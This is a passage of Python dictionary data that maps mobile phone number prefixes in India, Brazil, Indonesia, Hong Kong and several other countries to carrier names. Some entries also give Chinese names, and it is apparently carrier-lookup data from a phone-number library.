'9175599':{'en': 'Idea'},
'62331989':{'en': 'Esia'},
'8536576':{'en': '3'},
'62264928':{'en': 'Esia'},
'62264927':{'en': 'Esia'},
'62264926':{'en': 'Esia'},
'62264925':{'en': 'Esia'},
'62264924':{'en': 'Esia'},
'62264923':{'en': 'Esia'},
'62264922':{'en': 'Esia'},
'62264921':{'en': 'Esia'},
'62264920':{'en': 'Esia'},
'556298158':{'en': 'TIM'},
'556298159':{'en': 'TIM'},
'9178880':{'en': 'Idea'},
'9175592':{'en': 'Airtel'},
'556298154':{'en': 'TIM'},
'556298155':{'en': 'TIM'},
'556298156':{'en': 'TIM'},
'556298157':{'en': 'TIM'},
'9177559':{'en': 'Airtel'},
'556298151':{'en': 'TIM'},
'556298152':{'en': 'TIM'},
'556298153':{'en': 'TIM'},
'555399913':{'en': 'TIM'},
'9175590':{'en': 'Idea'},
'62298920':{'en': 'Esia'},
'62298921':{'en': 'Esia'},
'62298922':{'en': 'Esia'},
'62298923':{'en': 'Esia'},
'62298924':{'en': 'Esia'},
'5699787':{'en': 'Entel'},
'9175596':{'en': 'Idea'},
'9178881':{'en': 'Idea'},
'557999159':{'en': 'TIM'},
'622291':{'en': 'Esia'},
'622293':{'en': 'Esia'},
'557999154':{'en': 'TIM'},
'557999153':{'en': 'TIM'},
'557999152':{'en': 'TIM'},
'557999151':{'en': 'TIM'},
'9177259':{'en': 'Hexacom'},
'6227699':{'en': 'Esia'},
'9181849':{'en': 'Idea'},
'658876':{'en': 'SingTel'},
'556598141':{'en': 'TIM'},
'658877':{'en': 'M1'},
'917586':{'en': 'Airtel'},
'917587':{'en': 'CellOne'},
'918402':{'en': 'Vodafone'},
'917588':{'en': 'CellOne'},
'917589':{'en': 'CellOne'},
'658478':{'en': 'StarHub'},
'917401':{'en': 'Aircel'},
'9174858':{'en': 'Airtel'},
'917403':{'en': 'Dishnet'},
'917402':{'en': 'Aircel'},
'917405':{'en': 'Tata Docomo'},
'917404':{'en': 'Tata Docomo'},
'917407':{'en': 'Vodafone'},
'917406':{'en': 'Vodafone'},
'917409':{'en': 'Vodafone'},
'917408':{'en': 'Vodafone'},
'5699149':{'en': 'Movistar'},
'9177818':{'en': 'Airtel'},
'9178888':{'en': 'Reliance Jio'},
'9176410':{'en': 'Vodafone'},
'62272902':{'en': 'Esia'},
'62272903':{'en': 'Esia'},
'62272900':{'en': 'Esia'},
'62272901':{'en': 'Esia'},
'9178889':{'en': 'Reliance Jio'},
'62272904':{'en': 'Esia'},
'67785':{'en': 'BMobile'},
'67784':{'en': 'BMobile'},
'67787':{'en': 'BMobile'},
'67786':{'en': 'BMobile'},
'9173649':{'en': 'Airtel'},
'9173648':{'en': 'Airtel'},
'67789':{'en': 'BMobile'},
'67788':{'en': 'BMobile'},
'55659998':{'en': 'Vivo'},
'8525233':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'8525230':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'8525231':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'55659996':{'en': 'Vivo'},
'55659997':{'en': 'Vivo'},
'558398164':{'en': 'Vivo'},
'558398165':{'en': 'Vivo'},
'559999970':{'en': 'Oi'},
'558398160':{'en': 'Vivo'},
'558398161':{'en': 'Vivo'},
'558398162':{'en': 'Vivo'},
'558398163':{'en': 'Vivo'},
'559999979':{'en': 'Oi'},
'559999978':{'en': 'Oi'},
'918108':{'en': 'Idea'},
'62233927':{'en': 'Esia'},
'62233926':{'en': 'Esia'},
'62233925':{'en': 'Esia'},
'62233924':{'en': 'Esia'},
'62233923':{'en': 'Esia'},
'62233922':{'en': 'Esia'},
'62233921':{'en': 'Esia'},
'62233920':{'en': 'Esia'},
'9172848':{'en': 'Idea'},
'9172849':{'en': 'Idea'},
'62233928':{'en': 'Esia'},
'852618':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852619':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'559899968':{'en': 'Oi'},
'852610':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852611':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852612':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852613':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852614':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852615':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852616':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852617':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'9177768':{'en': 'Idea'},
'9177769':{'en': 'Idea'},
'9177760':{'en': 'Idea'},
'559899962':{'en': 'Oi'},
'85366046':{'en': 'SmarTone'},
'556498117':{'en': 'TIM'},
'559599961':{'en': 'Oi'},
'559599962':{'en': 'Oi'},
'559599963':{'en': 'Oi'},
'559599964':{'en': 'Oi'},
'559599965':{'en': 'Oi'},
'559599967':{'en': 'Oi'},
'556498114':{'en': 'TIM'},
'658800':{'en': 'M1'},
'917051':{'en': 'Airtel'},
'8536588':{'en': 'CTM'},
'8536589':{'en': 'CTM'},
'658809':{'en': 'StarHub'},
'8536585':{'en': 'China Telecom'},
'8536586':{'en': 'CTM'},
'8536587':{'en': 'CTM'},
'8536580':{'en': 'China Telecom'},
'8536581':{'en': 'China Telecom'},
'8536582':{'en': 'China Telecom'},
'8536583':{'en': 'China Telecom'},
'556299926':{'en': 'Vivo'},
'556299927':{'en': 'Vivo'},
'556299924':{'en': 'Vivo'},
'556299925':{'en': 'Vivo'},
'556299922':{'en': 'Vivo'},
'556299923':{'en': 'Vivo'},
'556299921':{'en': 'Vivo'},
'556299928':{'en': 'Vivo'},
'556299929':{'en': 'Vivo'},
'9181060':{'en': 'Airtel'},
'9174470':{'en': 'Idea'},
'918178':{'en': 'Reliance Jio'},
'918179':{'en': 'Airtel'},
'9180880':{'en': 'Reliance'},
'62889':{'en': 'Smartfren'},
'9174809':{'en': 'Telenor'},
'559199933':{'en': 'Oi'},
'62888':{'en': 'Smartfren'},
'558599648':{'en': 'TIM'},
'558599649':{'en': 'TIM'},
'558599644':{'en': 'TIM'},
'558599645':{'en': 'TIM'},
'558599646':{'en': 'TIM'},
'558599647':{'en': 'TIM'},
'9181280':{'en': 'Airtel'},
'558599641':{'en': 'TIM'},
'558599642':{'en': 'TIM'},
'558599643':{'en': 'TIM'},
'559999191':{'en': 'Vivo'},
'559999193':{'en': 'Vivo'},
'559999192':{'en': 'Vivo'},
'559999195':{'en': 'Vivo'},
'559999194':{'en': 'Vivo'},
'559999197':{'en': 'Vivo'},
'559999196':{'en': 'Vivo'},
'659114':{'en': 'SingTel'},
'559999198':{'en': 'Vivo'},
'67574':{'en': 'Digicel'},
'6231930':{'en': 'Esia'},
'67572':{'en': 'Digicel'},
'67573':{'en': 'Digicel'},
'67570':{'en': 'Digicel'},
'67571':{'en': 'Digicel'},
'917615':{'en': 'Aircel'},
'917340':{'en': 'Airtel'},
'557499189':{'en': 'TIM'},
'557499188':{'en': 'TIM'},
'556798162':{'en': 'TIM'},
'556798163':{'en': 'TIM'},
'556798161':{'en': 'TIM'},
'556798167':{'en': 'TIM'},
'556798164':{'en': 'TIM'},
'6015461':{'en': 'Telekom'},
'6015460':{'en': 'Telekom'},
'6015463':{'en': 'Telekom'},
'6015462':{'en': 'Telekom'},
'6015464':{'en': 'Telekom'},
'59978':{'en': 'Digicel'},
'9183286':{'en': 'Reliance Jio'},
'9183284':{'en': 'Reliance Jio'},
'62218394':{'en': 'Esia'},
'6018130':{'en': 'U Mobile'},
'62218392':{'en': 'Esia'},
'62218391':{'en': 'Esia'},
'62218390':{'en': 'Esia'},
'6237099':{'en': 'Esia'},
'9183288':{'en': 'Reliance Jio'},
'9183289':{'en': 'Reliance Jio'},
'555399971':{'en': 'Vivo'},
'555399973':{'en': 'Vivo'},
'555399972':{'en': 'Vivo'},
'555399975':{'en': 'Vivo'},
'555399974':{'en': 'Vivo'},
'555399977':{'en': 'Vivo'},
'555399976':{'en': 'Vivo'},
'555399979':{'en': 'Vivo'},
'555399978':{'en': 'Vivo'},
'9183004':{'en': 'Reliance Jio'},
'62263931':{'en': 'Esia'},
'62263930':{'en': 'Esia'},
'62263933':{'en': 'Esia'},
'62263932':{'en': 'Esia'},
'62263935':{'en': 'Esia'},
'62263934':{'en': 'Esia'},
'918407':{'en': 'Vodafone'},
'9173495':{'en': 'Airtel'},
'9183005':{'en': 'Reliance Jio'},
'559299978':{'en': 'Oi'},
'559299976':{'en': 'Oi'},
'559299977':{'en': 'Oi'},
'559299974':{'en': 'Oi'},
'559299975':{'en': 'Oi'},
'559299972':{'en': 'Oi'},
'559299973':{'en': 'Oi'},
'559299971':{'en': 'Oi'},
'9180051':{'en': 'CellOne'},
'659113':{'en': 'SingTel'},
'9183006':{'en': 'Reliance Jio'},
'559599139':{'en': 'Vivo'},
'559599138':{'en': 'Vivo'},
'9173250':{'en': 'Idea'},
'559599133':{'en': 'Vivo'},
'559599132':{'en': 'Vivo'},
'559599131':{'en': 'Vivo'},
'559599137':{'en': 'Vivo'},
'559599136':{'en': 'Vivo'},
'559599135':{'en': 'Vivo'},
'559599134':{'en': 'Vivo'},
'9173788':{'en': 'Vodafone'},
'559499934':{'en': 'Oi'},
'9173780':{'en': 'Idea'},
'9173781':{'en': 'Idea'},
'9173782':{'en': 'Idea'},
'9173783':{'en': 'Vodafone'},
'9173784':{'en': 'Vodafone'},
'9173785':{'en': 'Vodafone'},
'9173786':{'en': 'Vodafone'},
'9173787':{'en': 'Vodafone'},
'9174200':{'en': 'Airtel'},
'9174208':{'en': 'Airtel'},
'9174209':{'en': 'Airtel'},
'559499933':{'en': 'Oi'},
'658654':{'en': 'SingTel'},
'658655':{'en': 'SingTel'},
'658656':{'en': 'SingTel'},
'658657':{'en': 'SingTel'},
'658650':{'en': 'SingTel'},
'658651':{'en': 'SingTel'},
'59069047':{'en': 'Orange'},
'59069046':{'en': 'Digicel'},
'59069045':{'en': 'Digicel'},
'59069044':{'en': 'Digicel'},
'555599968':{'en': 'Vivo'},
'555599969':{'en': 'Vivo'},
'59069041':{'en': 'Orange'},
'59069040':{'en': 'Orange'},
'555599964':{'en': 'Vivo'},
'555599965':{'en': 'Vivo'},
'555599966':{'en': 'Vivo'},
'555599967':{'en': 'Vivo'},
'555599961':{'en': 'Vivo'},
'555599962':{'en': 'Vivo'},
'555599963':{'en': 'Vivo'},
'658222':{'en': 'M1'},
'8536818':{'en': 'SmarTone'},
'8536819':{'en': 'SmarTone'},
'658229':{'en': 'StarHub'},
'658228':{'en': 'SingTel'},
'555499648':{'en': 'Vivo'},
'555499649':{'en': 'Vivo'},
'555499642':{'en': 'Vivo'},
'555499643':{'en': 'Vivo'},
'555499641':{'en': 'Vivo'},
'555499646':{'en': 'Vivo'},
'555499647':{'en': 'Vivo'},
'555499644':{'en': 'Vivo'},
'555499645':{'en': 'Vivo'},
'9173920':{'en': 'Telenor'},
'8536811':{'en': 'CTM'},
'9173928':{'en': 'Telenor'},
'9173929':{'en': 'Telenor'},
'559399122':{'en': 'Vivo'},
'559399123':{'en': 'Vivo'},
'559399121':{'en': 'Vivo'},
'559399126':{'en': 'Vivo'},
'559399127':{'en': 'Vivo'},
'559399124':{'en': 'Vivo'},
'559399125':{'en': 'Vivo'},
'559399128':{'en': 'Vivo'},
'559399129':{'en': 'Vivo'},
'62518322':{'en': 'Esia'},
'62518321':{'en': 'Esia'},
'62518320':{'en': 'Esia'},
'556198582':{'en': 'Brasil Telecom GSM'},
'556198581':{'en': 'Brasil Telecom GSM'},
'557999135':{'en': 'TIM'},
'557999134':{'en': 'TIM'},
'557999137':{'en': 'TIM'},
'557999136':{'en': 'TIM'},
'557999131':{'en': 'TIM'},
'557999133':{'en': 'TIM'},
'557999132':{'en': 'TIM'},
'557999139':{'en': 'TIM'},
'557999138':{'en': 'TIM'},
'558699515':{'en': 'Claro BR'},
'557799978':{'en': 'Vivo'},
'918409':{'en': 'Telewings'},
'558699517':{'en': 'Claro BR'},
'8536247':{'en': '3'},
'8536246':{'en': '3'},
'8536245':{'en': 'SmarTone'},
'558699516':{'en': 'Claro BR'},
'8536243':{'en': 'CTM'},
'8536242':{'en': 'CTM'},
'8536241':{'en': '3'},
'8536240':{'en': '3'},
'558699511':{'en': 'Claro BR'},
'8536249':{'en': '3'},
'558699510':{'en': 'Claro BR'},
'558699513':{'en': 'Claro BR'},
'9181540':{'en': 'Idea'},
'558699512':{'en': 'Claro BR'},
'9181549':{'en': 'Idea'},
'9181548':{'en': 'Idea'},
'852922':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'601142':{'en': 'Telekomunikasi Indonesia'},
'601140':{'en': 'Celcom'},
'601141':{'en': 'Celcom'},
'6277199':{'en': 'Esia'},
'8536642':{'en': '3'},
'59781':{'en': 'Digicel'},
'59782':{'en': 'Digicel'},
'59783':{'en': 'Uniqa'},
'59784':{'en': 'Uniqa'},
'59785':{'en': 'Telesur'},
'59786':{'en': 'Telesur'},
'59787':{'en': 'Telesur'},
'59788':{'en': 'Telesur'},
'59789':{'en': 'Telesur'},
'559699172':{'en': 'Vivo'},
'559699173':{'en': 'Vivo'},
'9174787':{'en': 'Vodafone'},
'559699171':{'en': 'Vivo'},
'559699176':{'en': 'Vivo'},
'591738':{'en': 'Entel'},
'559699174':{'en': 'Vivo'},
'559699175':{'en': 'Vivo'},
'559699178':{'en': 'Vivo'},
'591736':{'en': 'Entel'},
'591731':{'en': 'Entel'},
'591730':{'en': 'Entel'},
'591733':{'en': 'Entel'},
'591732':{'en': 'Entel'},
'62295996':{'en': 'Esia'},
'62295997':{'en': 'Esia'},
'62295994':{'en': 'Esia'},
'55619997':{'en': 'Vivo'},
'62295993':{'en': 'Esia'},
'62295998':{'en': 'Esia'},
'62295999':{'en': 'Esia'},
'569439':{'en': 'Virgin Mobile'},
'569438':{'en': 'Virgin Mobile'},
'9180140':{'en': 'Dishnet'},
'569431':{'en': 'Telestar'},
'569430':{'en': 'Telestar'},
'569433':{'en': 'Telestar'},
'569432':{'en': 'Telestar'},
'569435':{'en': 'Simple'},
'569434':{'en': 'Simple'},
'569437':{'en': u('Telef\u00f3nica Uno Uno Cuatro')},
'569436':{'en': u('Telef\u00f3nica Uno Uno Cuatro')},
'5582991':{'en': 'Claro BR'},
'918399':{'en': 'Vodafone'},
'918390':{'en': 'Vodafone'},
'556299698':{'en': 'Vivo'},
'918393':{'en': 'Vodafone'},
'918394':{'en': 'Vodafone'},
'918395':{'en': 'Vodafone'},
'556299699':{'en': 'Vivo'},
'62736400':{'en': 'Esia'},
'62736401':{'en': 'Esia'},
'6011188':{'en': 'Tune Talk'},
'6011189':{'en': 'Tune Talk'},
'62736404':{'en': 'Esia'},
'6011182':{'en': 'Telekom'},
'6011183':{'en': 'Telekom'},
'6011180':{'en': 'Telekom'},
'6011181':{'en': 'Telekom'},
'6011186':{'en': 'Tune Talk'},
'6011187':{'en': 'Tune Talk'},
'6011184':{'en': 'Telekom'},
'6011185':{'en': 'Tune Talk'},
'558599921':{'en': 'TIM'},
'558599923':{'en': 'TIM'},
'558599922':{'en': 'TIM'},
'558599925':{'en': 'TIM'},
'558599924':{'en': 'TIM'},
'558599927':{'en': 'TIM'},
'558599926':{'en': 'TIM'},
'558599929':{'en': 'TIM'},
'558599928':{'en': 'TIM'},
'9177840':{'en': 'Dishnet'},
'917282':{'en': 'Vodafone'},
'917281':{'en': 'Vodafone'},
'917280':{'en': 'Vodafone'},
'559298211':{'en': 'TIM'},
'918357':{'en': 'Vodafone'},
'559899912':{'en': 'Oi'},
'559899913':{'en': 'Oi'},
'559899911':{'en': 'Oi'},
'556598115':{'en': 'TIM'},
'556598114':{'en': 'TIM'},
'556598117':{'en': 'TIM'},
'556598116':{'en': 'TIM'},
'556598111':{'en': 'TIM'},
'852677':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'556598113':{'en': 'TIM'},
'556598112':{'en': 'TIM'},
'918358':{'en': 'Vodafone'},
'852679':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'556598119':{'en': 'TIM'},
'556598118':{'en': 'TIM'},
'918359':{'en': 'Vodafone'},
'9177628':{'en': 'Airtel'},
'62721974':{'en': 'Esia'},
'62721975':{'en': 'Esia'},
'5623230':{'en': 'Entel'},
'5623231':{'en': 'Entel'},
'5623232':{'en': 'Entel'},
'5623233':{'en': 'Entel'},
'5623234':{'en': 'Entel'},
'5623235':{'en': 'Entel'},
'917794':{'en': 'Telewings'},
'917796':{'en': 'Tata Docomo'},
'9181490':{'en': 'Tata Docomo'},
'917798':{'en': 'Vodafone'},
'559599904':{'en': 'Oi'},
'559599905':{'en': 'Oi'},
'559599902':{'en': 'Oi'},
'559599903':{'en': 'Oi'},
'559599901':{'en': 'Oi'},
'556998429':{'en': 'Brasil Telecom GSM'},
'556998428':{'en': 'Brasil Telecom GSM'},
'658829':{'en': 'StarHub'},
'658828':{'en': 'M1'},
'556299908':{'en': 'Vivo'},
'556299909':{'en': 'Vivo'},
'556998421':{'en': 'Brasil Telecom GSM'},
'556299905':{'en': 'Vivo'},
'556998423':{'en': 'Brasil Telecom GSM'},
'556998422':{'en': 'Brasil Telecom GSM'},
'556998425':{'en': 'Brasil Telecom GSM'},
'556998424':{'en': 'Brasil Telecom GSM'},
'556998427':{'en': 'Brasil Telecom GSM'},
'556998426':{'en': 'Brasil Telecom GSM'},
'55719968':{'en': 'Vivo'},
'55719966':{'en': 'Vivo'},
'55719967':{'en': 'Vivo'},
'55719964':{'en': 'Vivo'},
'55719965':{'en': 'Vivo'},
'55719962':{'en': 'Vivo'},
'55719963':{'en': 'Vivo'},
'55719960':{'en': 'Vivo'},
'55719961':{'en': 'Vivo'},
'55999841':{'en': 'Claro BR'},
'55999840':{'en': 'Claro BR'},
'9181738':{'en': 'Airtel'},
'9181040':{'en': 'Sistema'},
'556299678':{'en': 'Vivo'},
'556299679':{'en': 'Vivo'},
'658359':{'en': 'SingTel'},
'658358':{'en': 'SingTel'},
'556299672':{'en': 'Vivo'},
'556299673':{'en': 'Vivo'},
'658357':{'en': 'SingTel'},
'556299671':{'en': 'Vivo'},
'556299676':{'en': 'Vivo'},
'556299677':{'en': 'Vivo'},
'556299674':{'en': 'Vivo'},
'556299675':{'en': 'Vivo'},
'5586994':{'en': 'Claro BR'},
'9177890':{'en': 'Idea'},
'9174820':{'en': 'Airtel'},
'59176':{'en': 'Tigo'},
'556498402':{'en': 'Brasil Telecom GSM'},
'658687':{'en': 'M1'},
'658686':{'en': 'M1'},
'658685':{'en': 'M1'},
'556498403':{'en': 'Brasil Telecom GSM'},
'658683':{'en': 'M1'},
'658682':{'en': 'StarHub'},
'658681':{'en': 'StarHub'},
'658680':{'en': 'StarHub'},
'658689':{'en': 'StarHub'},
'59172':{'en': 'Entel'},
'59170':{'en': 'Nuevatel'},
'659882':{'en': 'StarHub'},
'659883':{'en': 'StarHub'},
'659880':{'en': 'StarHub'},
'659881':{'en': 'StarHub'},
'659886':{'en': 'StarHub'},
'659887':{'en': 'StarHub'},
'659884':{'en': 'StarHub'},
'659885':{'en': 'StarHub'},
'659888':{'en': 'SingTel'},
'659889':{'en': 'M1'},
'9176588':{'en': 'Tata Docomo'},
'569880':{'en': 'Claro'},
'569881':{'en': 'Entel'},
'569882':{'en': 'Entel'},
'569883':{'en': 'Entel'},
'569884':{'en': 'Movistar'},
'569885':{'en': 'Movistar'},
'569886':{'en': 'Movistar'},
'569887':{'en': 'Movistar'},
'569888':{'en': 'Entel'},
'569889':{'en': 'Entel'},
'556798412':{'en': 'Brasil Telecom GSM'},
'556798413':{'en': 'Brasil Telecom GSM'},
'556798142':{'en': 'TIM'},
'556798143':{'en': 'TIM'},
'556798144':{'en': 'TIM'},
'556798145':{'en': 'TIM'},
'556798146':{'en': 'TIM'},
'556798147':{'en': 'TIM'},
'556798148':{'en': 'TIM'},
'556798149':{'en': 'TIM'},
'556798418':{'en': 'Brasil Telecom GSM'},
'556798419':{'en': 'Brasil Telecom GSM'},
'62426400':{'en': 'Esia'},
'62426401':{'en': 'Esia'},
'62426402':{'en': 'Esia'},
'62426403':{'en': 'Esia'},
'62426404':{'en': 'Esia'},
'556499623':{'en': 'Vivo'},
'9183558':{'en': 'Reliance Jio'},
'9183559':{'en': 'Reliance Jio'},
'556499627':{'en': 'Vivo'},
'556499626':{'en': 'Vivo'},
'556499625':{'en': 'Vivo'},
'556499624':{'en': 'Vivo'},
'555399957':{'en': 'Vivo'},
'555399956':{'en': 'Vivo'},
'555399955':{'en': 'Vivo'},
'555399954':{'en': 'Vivo'},
'555399953':{'en': 'Vivo'},
'555399952':{'en': 'Vivo'},
'555399951':{'en': 'Vivo'},
'555399959':{'en': 'Vivo'},
'555399958':{'en': 'Vivo'},
'918075':{'en': 'Reliance Jio'},
'918074':{'en': 'Reliance Jio'},
'918077':{'en': 'Reliance Jio'},
'918076':{'en': 'Reliance Jio'},
'918070':{'en': 'Aircel'},
'918073':{'en': 'Reliance Jio'},
'918072':{'en': 'Reliance Jio'},
'62284990':{'en': 'Esia'},
'62284991':{'en': 'Esia'},
'62284992':{'en': 'Esia'},
'62284993':{'en': 'Esia'},
'55949921':{'en': 'Vivo'},
'55949920':{'en': 'Vivo'},
'62284996':{'en': 'Esia'},
'55949922':{'en': 'Vivo'},
'558299608':{'en': 'TIM'},
'559299951':{'en': 'Oi'},
'558299601':{'en': 'TIM'},
'558299600':{'en': 'TIM'},
'558299603':{'en': 'TIM'},
'558299602':{'en': 'TIM'},
'558299605':{'en': 'TIM'},
'558299604':{'en': 'TIM'},
'558299607':{'en': 'TIM'},
'558299606':{'en': 'TIM'},
'556898112':{'en': 'TIM'},
'556898113':{'en': 'TIM'},
'556898111':{'en': 'TIM'},
'556898117':{'en': 'TIM'},
'556898114':{'en': 'TIM'},
'556898115':{'en': 'TIM'},
'9173238':{'en': 'Idea'},
'61481':{'en': 'Optus'},
'556898118':{'en': 'TIM'},
'556898119':{'en': 'TIM'},
'61484':{'en': 'Telstra'},
'61487':{'en': 'Telstra'},
'7777':{'en': 'Beeline', 'ru': 'Beeline'},
'7776':{'en': 'Beeline', 'ru': 'Beeline'},
'7775':{'en': 'Kcell/Activ', 'ru': 'Kcell/Activ'},
'7771':{'en': 'Beeline', 'ru': 'Beeline'},
'7778':{'en': 'Kcell/Activ', 'ru': 'Kcell/Activ'},
'9174228':{'en': 'Dishnet'},
'9174229':{'en': 'Dishnet'},
'9174220':{'en': 'Dishnet'},
'6732':{'en': 'DSTCom'},
'5594991':{'en': 'Vivo'},
'9176580':{'en': 'Tata Docomo'},
'555599982':{'en': 'Vivo'},
'555599983':{'en': 'Vivo'},
'555599981':{'en': 'Vivo'},
'555599986':{'en': 'Vivo'},
'555599987':{'en': 'Vivo'},
'555599984':{'en': 'Vivo'},
'555599985':{'en': 'Vivo'},
'555599988':{'en': 'Vivo'},
'555599989':{'en': 'Vivo'},
'6264593':{'en': 'Esia'},
'6264592':{'en': 'Esia'},
'9177049':{'en': 'Vodafone'},
'9177048':{'en': 'Vodafone'},
'9177040':{'en': 'Vodafone'},
'555499661':{'en': 'Vivo'},
'555499662':{'en': 'Vivo'},
'555499663':{'en': 'Vivo'},
'555499664':{'en': 'Vivo'},
'555499665':{'en': 'Vivo'},
'555499666':{'en': 'Vivo'},
'555499667':{'en': 'Vivo'},
'555499668':{'en': 'Vivo'},
'555499669':{'en': 'Vivo'},
'62229612':{'en': 'Esia'},
'9175578':{'en': 'Vodafone'},
'9176114':{'en': 'Aircel'},
'9173908':{'en': 'Airtel'},
'9173909':{'en': 'Airtel'},
'9175570':{'en': 'Vodafone'},
'9175573':{'en': 'Aircel'},
'9175572':{'en': 'Aircel'},
'9175575':{'en': 'Aircel'},
'9175574':{'en': 'Aircel'},
'9173900':{'en': 'Airtel'},
'9175576':{'en': 'Aircel'},
'556298198':{'en': 'TIM'},
'556298199':{'en': 'TIM'},
'559399101':{'en': 'Vivo'},
'559399102':{'en': 'Vivo'},
'556298193':{'en': 'TIM'},
'559399104':{'en': 'Vivo'},
'559399105':{'en': 'Vivo'},
'559399106':{'en': 'Vivo'},
'556298197':{'en': 'TIM'},
'9177598':{'en': 'Airtel'},
'9176115':{'en': 'Aircel'},
'59069069':{'en': 'Digicel'},
'9177590':{'en': 'Airtel'},
'59069066':{'en': 'Dauphin Telecom'},
'557999116':{'en': 'TIM'},
'557199993':{'en': 'Vivo'},
'557199992':{'en': 'Vivo'},
'557199991':{'en': 'Vivo'},
'557199997':{'en': 'Vivo'},
'557199996':{'en': 'Vivo'},
'557199995':{'en': 'Vivo'},
'557199994':{'en': 'Vivo'},
'557199999':{'en': 'Vivo'},
'557199998':{'en': 'Vivo'},
'9176830':{'en': 'Tata Docomo'},
'8536261':{'en': 'SmarTone'},
'8536260':{'en': 'SmarTone'},
'8536263':{'en': 'SmarTone'},
'8536262':{'en': 'SmarTone'},
'8536265':{'en': 'CTM'},
'8536264':{'en': 'CTM'},
'8536267':{'en': 'CTM'},
'8536266':{'en': 'CTM'},
'8536269':{'en': 'SmarTone'},
'8536268':{'en': 'SmarTone'},
'9177928':{'en': 'Aircel'},
'557199199':{'en': 'TIM'},
'557199198':{'en': 'TIM'},
'9173269':{'en': 'Airtel'},
'9177929':{'en': 'Aircel'},
'557199193':{'en': 'TIM'},
'559998122':{'en': 'TIM'},
'557199191':{'en': 'TIM'},
'9173268':{'en': 'Airtel'},
'557199197':{'en': 'TIM'},
'557199196':{'en': 'TIM'},
'557199195':{'en': 'TIM'},
'557199194':{'en': 'TIM'},
'6227435':{'en': 'Esia'},
'9176889':{'en': 'Idea'},
'55699998':{'en': 'Vivo'},
'9176880':{'en': 'Dishnet'},
'55699996':{'en': 'Vivo'},
'55699997':{'en': 'Vivo'},
'6276598':{'en': 'Esia'},
'9176340':{'en': 'Airtel'},
'6225495':{'en': 'Esia'},
'6225494':{'en': 'Esia'},
'6225491':{'en': 'Esia'},
'6225490':{'en': 'Esia'},
'6225493':{'en': 'Esia'},
'6225492':{'en': 'Esia'},
'591717':{'en': 'Entel'},
'559699159':{'en': 'Vivo'},
'591715':{'en': 'Entel'},
'591714':{'en': 'Entel'},
'591712':{'en': 'Entel'},
'591711':{'en': 'Entel'},
'591710':{'en': 'Entel'},
'559699151':{'en': 'Vivo'},
'559699152':{'en': 'Vivo'},
'559699153':{'en': 'Vivo'},
'559699154':{'en': 'Vivo'},
'559699155':{'en': 'Vivo'},
'559699156':{'en': 'Vivo'},
'559699157':{'en': 'Vivo'},
'917562':{'en': 'Idea'},
'555398141':{'en': 'TIM'},
'9174819':{'en': 'Airtel'},
'9174818':{'en': 'Airtel'},
'9174810':{'en': 'Telenor'},
'917561':{'en': 'Idea'},
'9174958':{'en': 'Tata Docomo'},
'9176329':{'en': 'Airtel'},
'9174959':{'en': 'Tata Docomo'},
'6275199':{'en': 'Esia'},
'917564':{'en': 'Idea'},
'598922':{'en': 'Antel'},
'9176569':{'en': 'CellOne'},
'559999651':{'en': 'Oi'},
'9180160':{'en': 'Airtel'},
'8525149':{'en': 'Truphone', 'zh': 'Truphone', 'zh_Hant': 'Truphone'},
'9174278':{'en': 'Hexacom'},
'8536388':{'en': 'China Telecom'},
'8536389':{'en': 'China Telecom'},
'556198561':{'en': 'Brasil Telecom GSM'},
'558299381':{'en': 'Claro BR'},
'6275195':{'en': 'Esia'},
'556198565':{'en': 'Brasil Telecom GSM'},
'558599907':{'en': 'TIM'},
'558599906':{'en': 'TIM'},
'558599905':{'en': 'TIM'},
'558599904':{'en': 'TIM'},
'558599903':{'en': 'TIM'},
'558599902':{'en': 'TIM'},
'558599901':{'en': 'TIM'},
'8536383':{'en': '3'},
'556198567':{'en': 'Brasil Telecom GSM'},
'558599909':{'en': 'TIM'},
'558599908':{'en': 'TIM'},
'9177860':{'en': 'Dishnet'},
'9177869':{'en': 'Dishnet'},
'9177868':{'en': 'Dishnet'},
'9177898':{'en': 'Idea'},
'556298195':{'en': 'TIM'},
'559899933':{'en': 'Oi'},
'559899934':{'en': 'Oi'},
'917708':{'en': 'Airtel'},
'917709':{'en': 'Airtel'},
'5699688':{'en': 'Claro'},
'5699689':{'en': 'Claro'},
'5699684':{'en': 'Claro'},
'5699685':{'en': 'Claro'},
'5699686':{'en': 'Claro'},
'5699687':{'en': 'Claro'},
'5699680':{'en': 'Movistar'},
'5699681':{'en': 'Movistar'},
'5699682':{'en': 'Claro'},
'5699683':{'en': 'Claro'},
'852658':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
